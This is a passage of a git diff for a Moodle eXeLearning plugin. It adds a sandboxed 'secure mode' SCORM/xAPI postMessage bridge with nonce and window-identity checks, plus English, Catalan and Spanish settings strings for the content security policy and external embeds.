+            if (!win || !win.setTimeout) { return null; }
+            return win.setTimeout(function () { if (!sawready) { showBlocked(); } }, ms);
+        }
+        function startWatchdog() {
+            if (!win || !win.setTimeout || !blockedid) { return; }
+            watchdog = armBlockedTimer(watchdogms);
+            // Faster, load-driven path. The iframe may not be parsed yet when this relay
+            // runs inline (it is injected before the iframe element), so attach now if it
+            // exists, otherwise once the DOM is ready.
+            var onload = function () { if (!sawready) { armBlockedTimer(gracems); } };
+            var attach = function () {
+                var fr = iframe();
+                if (fr && fr.addEventListener) { fr.addEventListener('load', onload, false); return true; }
+                return false;
+            };
+            if (!attach() && doc && doc.addEventListener) {
+                doc.addEventListener('DOMContentLoaded', attach, false);
+            }
+        }
+        function clearWatchdog() {
+            sawready = true;
+            if (watchdog && win && win.clearTimeout) { win.clearTimeout(watchdog); watchdog = null; }
+        }
+
+        function buildBody(cmi, itemscores) {
+            // Mirror the legacy track.php payload, but identity (cmid, sesskey, mode)
+            // lives on this trusted parent — only the CMI buffer and per-iDevice scores
+            // come from the iframe. The sesskey travels in the body, never in the query
+            // string (SEC-04): track.php validates it with require_body_sesskey().
+            return JSON.stringify({
+                id: cmid,
+                session: session,
+                sesskey: sesskey,
+                cmi: cmi,
+                itemscores: itemscores || {}
+            });
+        }
+
+        function postTrack(cmi, itemscores) {
+            var body = buildBody(cmi, itemscores);
+            latest = body;
+            if (!fetchImpl) { return; }
+            try {
+                fetchImpl(trackurl, {
+                    method: 'POST',
+                    headers: { 'Content-Type': 'application/json' },
+                    body: body,
+                    credentials: 'same-origin',
+                    keepalive: true
+                }).catch(function () { /* parent retries on the next commit / pagehide beacon. */ });
+            } catch (e) { /* ignore */ }
+        }
+
+        function flushBeacon() {
+            if (!latest || !beacon) { return; }
+            try { beacon(trackurl, new Blob([latest], { type: 'application/json' })); } catch (e) { /* ignore */ }
+        }
+
+        function onMessage(e) {
+            var fr = iframe();
+            // Window identity (primary anchor). The explicit contentWindow check rejects
+            // the degenerate null === null match if the frame is present but not navigable.
+            if (!fr || !fr.contentWindow || e.source !== fr.contentWindow) { return; }
+            var data = e.data;
+            if (isReadyMessage(data)) {
+                clearWatchdog();   // The iframe is alive; secure mode rendered.
+                try {
+                    fr.contentWindow.postMessage({
+                        type: 'scorm',
+                        action: 'config',
+                        nonce: nonce
+                    }, '*');
+                } catch (e2) { /* ignore */ }
+                return;
+            }
+            if (!acceptTrack(data, nonce)) { return; }              // type + action + nonce + shape.
+            // xAPI-primary: validate the message but suppress the SCORM POST. The shim
+            // cannot reach track.php itself (opaque origin, no sesskey), so this is the
+            // single authoritative drop point — no double grading with the xAPI channel.
+            if (disabletracking) { return; }
+            postTrack(data.cmi, data.itemscores);
+        }
+
+        function init() {
+            if (win && win.addEventListener) {
+                win.addEventListener('message', onMessage, false);
+                win.addEventListener('pagehide', flushBeacon, false);
+            }
+            startWatchdog();
+        }
+
+        return {
+            init: init,
+            onMessage: onMessage,
+            flushBeacon: flushBeacon,
+            postTrack: postTrack,
+            acceptTrack: acceptTrack,
+            startWatchdog: startWatchdog,
+            showBlocked: showBlocked
+        };
+    }
+
+    /**
+     * Bootstrap: create a relay from config and start listening.
+     *
+     * @param {Object} config See createRelay.
+     * @returns {Object} The relay instance.
+     */
+    function init(config) {
+        var relay = createRelay(config);
+        relay.init();
+        return relay;
+    }
+
+    var exp = {
+        isTrackMessage: isTrackMessage,
+        isReadyMessage: isReadyMessage,
+        acceptTrack: acceptTrack,
+        createRelay: createRelay,
+        init: init
+    };
+    // Test runner (Vitest/Node) consumes module.exports.
+    if (typeof module !== 'undefined' && module.exports) { module.exports = exp; }
+    // Browser bootstrap (view.php) consumes window.exeScormBridge.
+    if (typeof window !== 'undefined') { window.exeScormBridge = exp; }
+})();
diff --git a/js/scorm_bridge_shim.js b/js/scorm_bridge_shim.js
new file mode 100644
index 0000000..eb5254c
--- /dev/null
+++ b/js/scorm_bridge_shim.js
@@ -0,0 +1,245 @@
+// This file is part of Moodle - http://moodle.org/
+//
+// Moodle is free software: you can redistribute it and/or modify
+// it under the terms of the GNU General Public License as published by
+// the Free Software Foundation, either version 3 of the License, or
+// (at your option) any later version.
+//
+// Moodle is distributed in the hope that it will be useful,
+// but WITHOUT ANY WARRANTY; without even the implied warranty of
+// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+// GNU General Public License for more details.
+//
+// You should have received a copy of the GNU General Public License
+// along with Moodle.  If not, see <http://www.gnu.org/licenses/>.
+
+/**
+ * In-iframe SCORM bridge shim for the secure (opaque-origin) package mode.
+ *
+ * This script is baked into every extracted package (copied to libs/ and injected
+ * at the top of <head> by \mod_exelearning\local\scorm\scorm_injector) and runs
+ * INSIDE the package iframe. It self-activates only when the iframe is a sandboxed,
+ * opaque-origin document (secure mode, view.php drops allow-same-origin); in the
+ * legacy same-origin mode it stays dormant so eXeLearning's pipwerks walks up to
+ * the window.API hosted by the Moodle parent, exactly as before.
+ *
+ * When active it:
+ *   1. Installs an in-memory localStorage/sessionStorage polyfill, because an
+ *      opaque-origin document throws SecurityError on real web storage and several
+ *      shipped engine scripts (libs/exe_atools, exe_export.js, the checklist iDevice,
+ *      edicuatex) touch it. The polyfill keeps them working for the session.
+ *   2. Defines a local window.API (the SCORM 1.2 surface from js/scorm_tracker.js)
+ *      whose buffered scores are posted to the Moodle parent over postMessage instead
+ *      of being XHR'd here. The parent (js/scorm_bridge_relay.js) holds the sesskey
+ *      and performs the authenticated track.php request; this iframe never sees it.
+ *   3. Performs a handshake: it announces 'ready' and the parent replies with a nonce
+ *      that authenticates subsequent score messages. Teacher-mode visibility is NOT
+ *      handled here: the package hides teacher content by default and the host appends
+ *      ?exe-teacher=1 to the iframe src to reveal the selector (read from the package's
+ *      own location.search, which works even under the opaque origin).
+ *
+ * Exposed two ways from a single body: window.exeScormBridgeShim (browser, with an
+ * auto-boot that is a no-op outside an opaque sandbox) and module.exports (Vitest).
+ * See research ADR DEC-80-01.
+ */
+(function () {
+    'use strict';
+
+    /**
+     * Build an in-memory Storage-like object (getItem/setItem/removeItem/clear/key
+     * + length), used to shadow the native web storage that throws in an opaque
+     * origin. Values are coerced to strings, matching the Storage contract.
+     *
+     * @returns {Object} A minimal in-memory Storage implementation.
+     */
+    function createMemoryStorage() {
+        var store = {};
+        var api = {
+            getItem: function (k) {
+                k = String(k);
+                return Object.prototype.hasOwnProperty.call(store, k) ? store[k] : null;
+            },
+            setItem: function (k, v) { store[String(k)] = String(v); },
+            removeItem: function (k) { delete store[String(k)]; },
+            clear: function () { store = {}; },
+            key: function (i) {
+                var keys = Object.keys(store);
+                return (i >= 0 && i < keys.length) ? keys[i] : null;
+            }
+        };
+        Object.defineProperty(api, 'length', { get: function () { return Object.keys(store).length; } });
+        return api;
+    }
+
+    /**
+     * Detect whether the current window is a sandboxed, opaque-origin document
+     * (secure mode). Opaque origins serialize to the string "null"; as a secondary
+     * probe, web storage access throws a SecurityError (ONLY that — a QuotaExceededError
+     * or a disabled-storage policy in a real same-origin iframe must not count). Either
+     * signal means "activate".
+     *
+     * @param {Window} win The window to test (default: the global window).
+     * @returns {boolean} True when running in an opaque sandbox.
+     */
+    function isSandboxedOpaque(win) {
+        win = win || (typeof window !== 'undefined' ? window : null);
+        if (!win) { return false; }
+        try {
+            if (win.origin === 'null' || (win.location && win.location.origin === 'null')) { return true; }
+        } catch (e) { return true; }
+        try {
+            var probe = '__exeprobe__';
+            win.localStorage.setItem(probe, '1');
+            win.localStorage.removeItem(probe);
+        } catch (e2) {
+            // Only an opaque origin denies web storage with a SecurityError. A
+            // QuotaExceededError (storage full) or a browser/policy that blocks first-party
+            // storage in a REAL same-origin iframe also throws here; treating those as
+            // "opaque" would activate the shim in legacy mode (where no parent relay listens),
+            // so buffered scores would post into a postMessage void and be silently lost.
+            return !!(e2 && e2.name === 'SecurityError');
+        }
+        return false;
+    }
+
+    /**
+     * Replace win.localStorage/win.sessionStorage with in-memory polyfills so package
+     * scripts that touch web storage do not throw in an opaque origin. Best effort:
+     * if the property cannot be redefined, content storage access may still throw, but
+     * grading (which never relies on web storage) is unaffected.
+     *
+     * @param {Window} win The window to patch.
+     */
+    function installStoragePolyfill(win) {
+        var names = ['localStorage', 'sessionStorage'];
+        for (var i = 0; i < names.length; i++) {
+            var name = names[i];
+            var mem = createMemoryStorage();
+            try {
+                Object.defineProperty(win, name, {
+                    configurable: true,
+                    get: (function (m) { return function () { return m; }; })(mem)
+                });
+            } catch (e) {
+                try { win[name] = mem; } catch (e2) { /* give up; see docblock. */ }
+            }
+        }
+    }
+
+    /**
+     * Whether a postMessage payload is a recognised parent -> child control message.
+     *
+     * @param {*} data The event.data value.
+     * @returns {boolean} True for a {type:'scorm', action:'config'|'ack'} message.
+     */
+    function isParentMessage(data) {
+        return !!data && data.type === 'scorm' && (data.action === 'config' || data.action === 'ack');
+    }
+
+    /**
+     * Wire the local window.API to the Moodle parent over postMessage. Requires
+     * win.exeScormTracker (js/scorm_tracker.js) to be loaded first.
+     *
+     * @param {Window} win The (opaque-origin) iframe window.
+     * @returns {Object|null} Handles for testing, or null if the tracker is missing.
+     */
+    function activate(win) {
+        var tracker = win.exeScormTracker;
+        if (!tracker) { return null; }
+
+        var parentwin = win.parent;
+        var nonce = null;
+        var ready = false;
+        var queue = [];
+
+        function postToParent(msg) {
+            try {
+                if (parentwin && parentwin.postMessage) { parentwin.postMessage(msg, '*'); }
+            } catch (e) { /* ignore */ }
+        }
+
+        // Bridge transport handed to the shared tracker: forward buffered scores to
+        // the parent. Identity (cmid, sesskey) lives in the parent; only the CMI
+        // buffer + per-iDevice scores cross the bridge, and track.php re-validates
+        // and clamps them server-side. Fire-and-forget; queued until the handshake
+        // delivers the nonce.
+        function transport(data) {
+            var msg = {
+                exelearningBridge: nonce,
+                type: 'scorm',
+                action: 'track',
+                cmi: data.cmi,
+                itemscores: data.itemscores
+            };
+            if (ready) { postToParent(msg); } else { queue.push(msg); }
+            return true;
+        }
+
+        var instance = tracker.createScormApi({
+            transport: transport,
+            // Resolve per-iDevice objectids from THIS document (same frame), not the
+            // parent's iframe element.
+            getScoringDocument: function () { return win.document; },
+            // No beforeunload flush here: postMessage is async and may not reach the
+            // parent during unload. The parent's pagehide sendBeacon (relay) is the
+            // reliable unload safety net instead.
+            bindUnload: false
+        });
+        win.API = instance.api;
+
+        function onMessage(e) {
+            if (e.source !== parentwin) { return; }   // Only trust the hosting Moodle frame.
+            var data = e.data;
+            if (!isParentMessage(data)) { return; }
+            if (data.action === 'config') {
+                nonce = data.nonce;
+                ready = true;
+                while (queue.length) {
+                    var m = queue.shift();
+                    m.exelearningBridge = nonce;
+                    postToParent(m);
+                }
+            }
+        }
+
+        if (win.addEventListener) { win.addEventListener('message', onMessage, false); }
+        // Announce readiness; the parent replies with the nonce.
+        postToParent({ exelearningBridge: null, type: 'scorm', action: 'ready' });
+
+        return {
+            api: instance.api,
+            transport: transport,
+            onMessage: onMessage
+        };
+    }
+
+    /**
+     * Boot the shim: activate only inside an opaque sandbox. No-op otherwise (legacy
+     * same-origin mode, or any non-sandboxed context such as the test runner).
+     *
+     * @param {Window} win The window to boot in (default: the global window).
+     * @returns {Object|null} The activate() handles when activated, else null.
+     */
+    function boot(win) {
+        win = win || (typeof window !== 'undefined' ? window : null);
+        if (!win || !isSandboxedOpaque(win)) { return null; }
+        installStoragePolyfill(win);
+        return activate(win);
+    }
+
+    var exp = {
+        createMemoryStorage: createMemoryStorage,
+        isSandboxedOpaque: isSandboxedOpaque,
+        installStoragePolyfill: installStoragePolyfill,
+        isParentMessage: isParentMessage,
+        activate: activate,
+        boot: boot
+    };
+    // Test runner (Vitest/Node) consumes module.exports.
+    if (typeof module !== 'undefined' && module.exports) { module.exports = exp; }
+    // Browser: expose for inspection and auto-boot (no-op outside an opaque sandbox).
+    if (typeof window !== 'undefined') {
+        window.exeScormBridgeShim = exp;
+        boot(window);
+    }
+})();
diff --git a/js/scorm_tracker.js b/js/scorm_tracker.js
index d91250d..92e3c87 100644
--- a/js/scorm_tracker.js
+++ b/js/scorm_tracker.js
@@ -145,6 +145,12 @@
      *   - cmid, trackurl, session: identity and endpoint.
      *   - getScoringDocument(): returns the iframe content document (default: reads
      *     #exelearningobject) for objectid resolution.
+     *   - transport(data, sync): optional sink for the buffered scores. When provided
+     *     it REPLACES the direct XHR (secure mode: js/scorm_bridge_shim.js posts the
+     *     data to the Moodle parent, which owns the authenticated request). It gets
+     *     {cmi, itemscores} and a sync flag, and returns false to signal failure
+     *     (keeps the buffer dirty for retry). When absent, the XHR path below runs
+     *     (legacy same-origin mode and the unit tests).
      *   - xhrFactory(): returns an XMLHttpRequest-like object (default: real XHR).
      *   - setTimeout / clearTimeout: timer functions (default: globals).
      *   - bindUnload: wire a beforeunload synchronous flush (default: true in a browser).
@@ -162,6 +168,7 @@
         var setTimeoutFn = config.setTimeout || (typeof setTimeout !== 'undefined' ? setTimeout : null);
         var clearTimeoutFn = config.clearTimeout || (typeof clearTimeout !== 'undefined' ? clearTimeout : null);
         var xhrFactory = config.xhrFactory || function () { return new XMLHttpRequest(); };
+        var transport = config.transport || null;
         var getScoringDocument = config.getScoringDocument || function () {
             var fr = (typeof document !== 'undefined') && document.getElementById('exelearningobject');
             return fr && fr.contentDocument;
@@ -182,7 +189,21 @@
             // xAPI-primary packages keep window.API alive but never POST (DEC-85-01).
             if (disableTracking) { dirty = false; return true; }
             if (!dirty) { return true; }
-            var snapshot = JSON.stringify(cmi);
+            // Bridge transport (secure mode): hand the buffered CMI + per-iDevice
+            // scores to the injected sink instead of doing the XHR here. The sink
+            // (js/scorm_bridge_shim.js) posts them to the Moodle parent, which owns
+            // the authenticated track.php request, retry and the pagehide beacon.
+            // The parent carries its own sesskey, so none travels with the message.
+            // Fire-and-forget: clear dirty once the message leaves; a thrown/false
+            // result keeps it dirty so the next autocommit re-sends it.
+            if (transport) {
+                try {
+                    var accepted = transport({ cmi: cmi, itemscores: itemScores }, sync === true);
+                    if (accepted !== false) { dirty = false; return true; }
+                    return false;
+                } catch (te) { errCode = '101'; return false; }
+            }
+            // Direct transport: the sesskey travels in the POST body, not the URL.
             var payload = buildPayload(cmid, session, cmi, itemScores, sesskey);
             try {
                 var xhr = xhrFactory();
@@ -200,6 +221,9 @@
                 // and only if no newer value was buffered meanwhile. On failure dirty
                 // stays set so the next autocommit / beforeunload re-sends it (a failed
                 // autocommit must never silently drop a grade write to the gradebook).
+                // Snapshot the buffer here (this path only) — captured synchronously
+                // before xhr.send() below, so the onload comparison value is unchanged.
+                var snapshot = JSON.stringify(cmi);
                 xhr.onload = function () {
                     if (xhr.status >= 200 && xhr.status < 300
                             && JSON.stringify(cmi) === snapshot) {
diff --git a/js/xapi_listener.js b/js/xapi_listener.js
index 0efc218..5ec758d 100644
--- a/js/xapi_listener.js
+++ b/js/xapi_listener.js
@@ -111,6 +111,17 @@
         var sesskey = config.sesskey;
         var allowed = config.allowedOrigin
             || ((typeof window !== 'undefined' && window.location) ? window.location.origin : '');
+        // Trust gate. Legacy (same-origin) trusts a statement by event.origin === host
+        // origin (RIE-013). Secure mode (DEC-80-05) serves the package in an opaque origin
+        // where event.origin is the string "null", so origin can never authenticate; there
+        // the anchor is WINDOW IDENTITY — event.source === the package iframe's
+        // contentWindow, exactly like the SCORM bridge relay (js/scorm_bridge_relay.js).
+        // Setting iframeid (or, for tests, expectedSource) selects window-identity mode;
+        // otherwise the origin check is used.
+        var iframeid = config.iframeid || null;
+        var injectedsource = config.expectedSource;   // explicit window (tests) or null/undefined
+        var usewindowidentity = !!(iframeid || (injectedsource !== undefined && injectedsource !== null));
+        var docref = config.document || (typeof document !== 'undefined' ? document : null);
         var xhrFactory = config.xhrFactory || function () { return new XMLHttpRequest(); };
         // Bounded resend so a transient non-2xx / network blip does not silently lose a
         // grade-bearing statement — js/scorm_tracker.js self-heals the same way (a failed
@@ -167,9 +178,34 @@
             }, retryDelay * (attempt + 1));
         }
 
+        // Resolve the only window allowed to deliver statements in window-identity mode.
+        // Lazy (per message): view.php injects this listener inline BEFORE the iframe
+        // element exists, but the element is present by the time the package emits.
+        function expectedSource() {
+            if (injectedsource !== undefined && injectedsource !== null) { return injectedsource; }
+            if (iframeid && docref) {
+                var el = docref.getElementById(iframeid);
+                return el ? el.contentWindow : null;
+            }
+            return null;
+        }
+
+        // Whether an event may be forwarded: window identity in secure mode (the opaque
+        // "null" origin is ignored), or an exact host origin in legacy mode. event.source
+        // is set by the browser to the posting window and cannot be forged by page script,
+        // so it is a sound anchor when the origin is unusable (DEC-80-05).
+        function isTrusted(event) {
+            if (!event) { return false; }
+            if (usewindowidentity) {
+                var src = expectedSource();
+                return !!src && event.source === src;
+            }
+            return isTrustedOrigin(event.origin, allowed);
+        }
+
         // Validate, de-dup and forward a single message. Returns true when forwarded.
         function handleMessage(event) {
-            if (!event || !isTrustedOrigin(event.origin, allowed)) { return false; }
+            if (!isTrusted(event)) { return false; }
             if (!isStatementMessage(event.data)) { return false; }
             var statement = event.data.statement;
             var id = statement.id;
diff --git a/lang/ca/exelearning.php b/lang/ca/exelearning.php
index 1929e7f..d5456e7 100644
--- a/lang/ca/exelearning.php
+++ b/lang/ca/exelearning.php
@@ -47,6 +47,10 @@
 $string['completionstatusgroup'] = '~Requereix estat';
 $string['completionstatusrequired'] = '~L\'estudiant ha d\'assolir l\'estat requerit';
 $string['completionstatusrequired_help'] = '~Quan està habilitat, l\'activitat es marca com a completada un cop l\'estudiant té un intent que assoleix l\'estat seleccionat. «Aprovat» requereix un intent aprovat, «Completat» requereix un intent completat, i «Aprovat o completat» accepta qualsevol dels dos. És una única condició per a tota l\'activitat (un estat per activitat).';
+$string['cspprofile'] = '~Perfil de política de seguretat de contingut';
+$string['cspprofile_compatible'] = '~Compatible (més feble: permet imatges, multimèdia i scripts https externs)';
+$string['cspprofile_desc'] = '~Controla la Content-Security-Policy que s\'aplica al document del paquet. «Estricte» (recomanat) impedeix que el paquet carregui imatges, multimèdia, scripts o marcs des de servidors https externs arbitraris, de manera que un paquet maliciós no pugui exfiltrar el testimoni de fitxer per usuari que viatja a l\'URL de la pàgina; per als reproductors promoguts només es permeten els proveïdors de vídeo mantinguts. «Compatible» relaxa la política per permetre imatges, multimèdia i scripts https externs (per exemple, imatges de l\'autor allotjades en tercers o una CDN de MathJax) i per tant és més feble. L\'iframe del paquet manté l\'origen opac en tots dos perfils.';
+$string['cspprofile_strict'] = '~Estricte (recomanat: sense imatges, multimèdia ni scripts https externs)';
 $string['deleteattempt'] = '~Elimina l\'intent';
 $string['deleteattempt_confirm'] = '~S\'eliminarà definitivament l\'intent {$a} d\'aquest estudiant i la seva qualificació es recalcularà a partir dels intents restants. Aquesta acció no es pot desfer.';
 $string['detecteditems'] = '~iDevices qualificables detectats:';
@@ -59,6 +63,10 @@
 $string['editwitheditor'] = '~Edita amb eXeLearning';
 $string['embeddednotinstalledadmin'] = '~L\'editor integrat no està inclòs en aquesta instal·lació. Instal·leu el connector des d\'un ZIP de versió oficial, que inclou l\'editor.';
 $string['embeddednotinstalledcontactadmin'] = '~L\'editor integrat no està disponible en aquest lloc. Contacteu amb l\'administrador del lloc.';
+$string['embedmode'] = '~Política d\'insercions externes';
+$string['embedmode_desc'] = '~En el mode segur, els vídeos i PDF externs es mostren promocionant-los a un reproductor aïllat i d\'origen creuat a la pàgina de l\'activitat, que el navegador manté aïllat de Moodle sigui quin sigui el proveïdor. «Obre» (recomanat) permet qualsevol proveïdor https d\'origen creuat, de manera que YouTube, Vimeo, Dailymotion, EducaMadrid i qualsevol altre lloc funcionen sense necessitat de mantenir cap llista. «Estricte» només permet una llista integrada de proveïdors coneguts; useu-lo quan no es confiï que els autors de contingut no insereixin pàgines de pesca (phishing) o de seguiment. Tots dos modes rebutgen les URL del mateix origen, d\'IP/bucle local i amb informació d\'usuari.';
+$string['embedmode_open'] = '~Obre (qualsevol proveïdor https d\'origen creuat)';
+$string['embedmode_strict'] = '~Estricte (només la llista integrada de proveïdors)';
 $string['err_grademinmax'] = '~La qualificació mínima no pot ser superior a la màxima.';
 $string['err_gradepassrange'] = '~La qualificació per aprovar ha d\'estar entre la qualificació mínima i la màxima.';
 $string['err_nocontentxml'] = '~El fitxer pujat no és un paquet eXeLearning vàlid: ha de ser un .elpx o un .zip que contingui content.xml a l\'arxiu.';
@@ -253,6 +261,8 @@
 $string['previewmode_desc'] = '~Res del que feu aquí no es desarà al butlletí de qualificacions.';
 $string['previewmode_enter'] = '~Prova com a estudiant (previsualització)';
 $string['previewmode_exit'] = '~Surt del mode de previsualització';
+$string['previewsessionbusy'] = '~La sessió de previsualització està ocupada. Torneu-ho a provar.';
+$string['previewsessioncleanup'] = '~Neteja les sessions de previsualització d\'eXeLearning caducades';
 $string['privacy:metadata:core_grades'] = '~Les puntuacions obtingudes en els elements qualificables d\'eXeLearning es desen al butlletí de qualificacions de Moodle.';
 $string['privacy:metadata:exelearning'] = '~Instàncies d\'activitat eXeLearning.';
 $string['privacy:metadata:exelearning:usermodified'] = '~L\'usuari que va modificar per última vegada la configuració de l\'activitat.';
@@ -303,6 +313,7 @@
 $string['saving'] = 'Desant...';
 $string['savingwait'] = 'Si us plau, espereu mentre es desa l\'arxiu.';
 $string['search:activity'] = '~Recurs eXeLearning - informació de l\'activitat';
+$string['securemodeblocked'] = '~Aquest contingut no es pot mostrar amb la configuració de seguretat actual. Contacteu amb l\'administrador del lloc.';
 $string['stylesblockimport'] = '~Bloca els estils importats per l\'usuari';
 $string['stylesblockimport_desc'] = '~Quan està activat, l\'editor integrat amaga la pestanya «Estils importats» i rebutja instal·lar un estil inclòs en un projecte .elpx importat. L\'usuari només podrà triar de la llista aprovada per l\'administrador. Equival al comportament d\'eXeLearning ONLINE_THEMES_INSTALL=false.';
 $string['stylesbuiltin'] = '~Estils integrats';
diff --git a/lang/en/exelearning.php b/lang/en/exelearning.php
index f85f489..0393819 100644
--- a/lang/en/exelearning.php
+++ b/lang/en/exelearning.php
@@ -43,6 +43,10 @@
 $string['completionstatusgroup']      = 'Require status';
 $string['completionstatusrequired']   = 'Student must reach the required status';
 $string['completionstatusrequired_help'] = 'When enabled, the activity is marked complete once the student has an attempt that reaches the selected status. "Passed" requires a passed attempt, "Completed" requires a completed attempt, and "Passed or completed" accepts either. This is a single activity-wide condition (one status per activity).';
+$string['cspprofile'] = 'Content security policy profile';
+$string['cspprofile_compatible'] = 'Compatible (weaker: allows external https images, media and scripts)';
+$string['cspprofile_desc'] = 'Controls the Content-Security-Policy applied to the package document. "Strict" (recommended) stops the package from loading images, media, scripts or frames from arbitrary external https hosts, so a malicious package cannot exfiltrate the per-user file token carried in the page URL; only the maintained video providers are allowed for promoted players. "Compatible" relaxes the policy to allow external https images, media and scripts (for example author images on third-party hosts or a MathJax CDN) and is therefore weaker. The package iframe stays opaque-origin in both profiles.';
+$string['cspprofile_strict'] = 'Strict (recommended: no external https images, media or scripts)';
 $string['deleteattempt']     = 'Delete attempt';
 $string['deleteattempt_confirm'] = 'This will permanently delete attempt {$a} for this student and recalculate their grade from the remaining attempts. This action cannot be undone.';
 $string['detecteditems']    = 'Gradable iDevices detected:';
@@ -55,6 +59,10 @@
 $string['editwitheditor'] = 'Edit with eXeLearning';
 $string['embeddednotinstalledadmin'] = 'The embedded editor is not included in this installation. Install the plugin from an official release ZIP, which bundles the editor.';
 $string['embeddednotinstalledcontactadmin'] = 'The embedded editor is not available on this site. Please contact your site administrator.';
+$string['embedmode'] = 'External embed policy';
+$string['embedmode_desc'] = 'External videos and PDFs are shown by promoting them to a sandboxed, cross-origin player on the activity page, which the browser keeps isolated from Moodle whatever the provider. "Strict" (recommended) only allows a built-in list of well-known providers (YouTube, Vimeo, Dailymotion, EducaMadrid) with canonical URL reconstruction; use it where content authors are not fully trusted. "Open" allows any cross-origin https provider without a maintained list. Both modes reject same-origin, IP/loopback and userinfo URLs.';
+$string['embedmode_open'] = 'Open (any cross-origin https provider)';
+$string['embedmode_strict'] = 'Strict (built-in provider list only)';
 $string['err_grademinmax'] = 'The minimum grade cannot be greater than the maximum grade.';
 $string['err_gradepassrange'] = 'The grade to pass must be between the minimum and maximum grade.';
 $string['err_nocontentxml'] = 'The uploaded file is not a valid eXeLearning package: it must be an .elpx or a .zip whose archive contains content.xml.';
@@ -249,6 +257,8 @@
 $string['previewmode_desc']   = 'Nothing you do here will be saved to the gradebook.';
 $string['previewmode_enter']  = 'Try as a student (preview)';
 $string['previewmode_exit']   = 'Exit preview mode';
+$string['previewsessionbusy'] = 'The preview session is busy. Please retry.';
+$string['previewsessioncleanup'] = 'Clean up expired eXeLearning preview sessions';
 $string['privacy:metadata:core_grades'] = 'Scores obtained on eXeLearning gradable items are stored in the Moodle gradebook.';
 $string['privacy:metadata:exelearning'] = 'eXeLearning activity instances.';
 $string['privacy:metadata:exelearning:usermodified'] = 'The user who last modified the activity settings.';
@@ -299,6 +309,7 @@
 $string['saving'] = 'Saving...';
 $string['savingwait'] = 'Please wait while the file is being saved.';
 $string['search:activity'] = 'eXeLearning resource - activity information';
+$string['securemodeblocked'] = 'This content cannot be displayed with the current security configuration. Please contact the site administrator.';
 $string['stylesblockimport'] = 'Block user-imported styles';
 $string['stylesblockimport_desc'] = 'When enabled, the embedded editor hides the "User styles" tab and refuses to install a style bundled inside an imported .elpx project. Users may only choose from the admin-approved list above. This mirrors the eXeLearning ONLINE_THEMES_INSTALL=false behavior.';
 $string['stylesbuiltin'] = 'Built-in styles';
diff --git a/lang/es/exelearning.php b/lang/es/exelearning.php
index fb4198a..611e893 100644
--- a/lang/es/exelearning.php
+++ b/lang/es/exelearning.php
@@ -47,6 +47,10 @@
 $string['completionstatusgroup'] = 'Se requiere estado';
 $string['completionstatusrequired'] = '~El estudiante debe alcanzar el estado requerido';
 $string['completionstatusrequired_help'] = '~Cuando se activa, la actividad se marca como completada en cuanto el estudiante tiene un intento que alcanza el estado seleccionado. «Aprobado» exige un intento aprobado, «Completado» exige un intento completado y «Aprobado o completado» acepta cualquiera de los dos. Es una única condición para toda la actividad (un estado por actividad).';
+$string['cspprofile'] = '~Perfil de política de seguridad de contenido';
+$string['cspprofile_compatible'] = '~Compatible (más débil: permite imágenes, multimedia y scripts https externos)';
+$string['cspprofile_desc'] = '~Controla la Content-Security-Policy que se aplica al documento del paquete. «Estricto» (recomendado) impide que el paquete cargue imágenes, multimedia, scripts o marcos desde servidores https externos arbitrarios, de modo que un paquete malicioso no pueda exfiltrar el token de archivo por usuario que viaja en la URL de la página; para los reproductores promovidos solo se permiten los proveedores de vídeo mantenidos. «Compatible» relaja la política para permitir imágenes, multimedia y scripts https externos (por ejemplo, imágenes del autor alojadas en terceros o una CDN de MathJax) y por tanto es más débil. El iframe del paquete sigue teniendo origen opaco en ambos perfiles.';
+$string['cspprofile_strict'] = '~Estricto (recomendado: sin imágenes, multimedia ni scripts https externos)';
 $string['deleteattempt'] = '~Eliminar intento';
 $string['deleteattempt_confirm'] = '~Se eliminará definitivamente el intento {$a} de este estudiante y su calificación se recalculará a partir de los intentos restantes. Esta acción no se puede deshacer.';
 $string['detecteditems'] = '~iDevices calificables detectados:';
@@ -59,6 +63,10 @@
 $string['editwitheditor'] = 'Editar con eXeLearning';
 $string['embeddednotinstalledadmin'] = '~El editor integrado no está incluido en esta instalación. Instale el plugin desde un ZIP de release oficial, que incluye el editor.';
 $string['embeddednotinstalledcontactadmin'] = '~El editor integrado no está disponible en este sitio. Contacte con el administrador del sitio.';
+$string['embedmode'] = '~Política de inserciones externas';
+$string['embedmode_desc'] = '~En el modo seguro, los vídeos y PDF externos se muestran promocionándolos a un reproductor aislado y de origen cruzado en la página de la actividad, que el navegador mantiene aislado de Moodle sea cual sea el proveedor. «Abrir» (recomendado) permite cualquier proveedor https de origen cruzado, de modo que YouTube, Vimeo, Dailymotion, EducaMadrid y cualquier otro sitio funcionan sin necesidad de mantener una lista. «Estricto» solo permite una lista integrada de proveedores conocidos; úselo cuando no se confíe en que los autores de contenido no inserten páginas de phishing o de seguimiento. Ambos modos rechazan las URL de mismo origen, de IP/bucle local y con información de usuario.';
+$string['embedmode_open'] = '~Abrir (cualquier proveedor https de origen cruzado)';
+$string['embedmode_strict'] = '~Estricto (solo la lista integrada de proveedores)';
 $string['err_grademinmax'] = '~La calificación mínima no puede ser mayor que la calificación máxima.';
 $string['err_gradepassrange'] = '~La calificación para aprobar debe estar entre la calificación mínima y la máxima.';
 $string['err_nocontentxml'] = '~El archivo subido no es un paquete eXeLearning válido: debe ser un .elpx o un .zip cuyo archivo contenga content.xml.';
@@ -253,6 +261,8 @@
 $string['previewmode_desc'] = '~Nada de lo que haga aquí se guardará en el libro de calificaciones.';
 $string['previewmode_enter'] = '~Probar como estudiante (vista previa)';
 $string['previewmode_exit'] = '~Salir del modo de vista previa';
+$string['previewsessionbusy'] = '~La sesión de vista previa está ocupada. Inténtelo de nuevo.';
+$string['previewsessioncleanup'] = '~Limpiar las sesiones de vista previa de eXeLearning caducadas';
 $string['privacy:metadata:core_grades'] = '~Las puntuaciones obtenidas en los elementos calificables de eXeLearning se almacenan en el libro de calificaciones de Moodle.';
 $string['privacy:metadata:exelearning'] = '~Instancias de actividades eXeLearning.';
 $string['privacy:metadata:exelearning:usermodified'] = '~El usuario que modificó por última vez la configuración de la actividad.';
@@ -303,6 +313,7 @@
 $string['saving'] = 'Guardando...';
 $string['savingwait'] = 'Por favor, espere mientras se guarda el archivo.';
 $string['search:activity'] = 'Recurso eXeLearning - información de la actividad';
+$string['securemodeblocked'] = '~Este contenido no se puede mostrar con la configuración de seguridad actual. Contacte con el administrador del sitio.';
 $string['stylesblockimport'] = 'Bloquear estilos importados por el usuario';
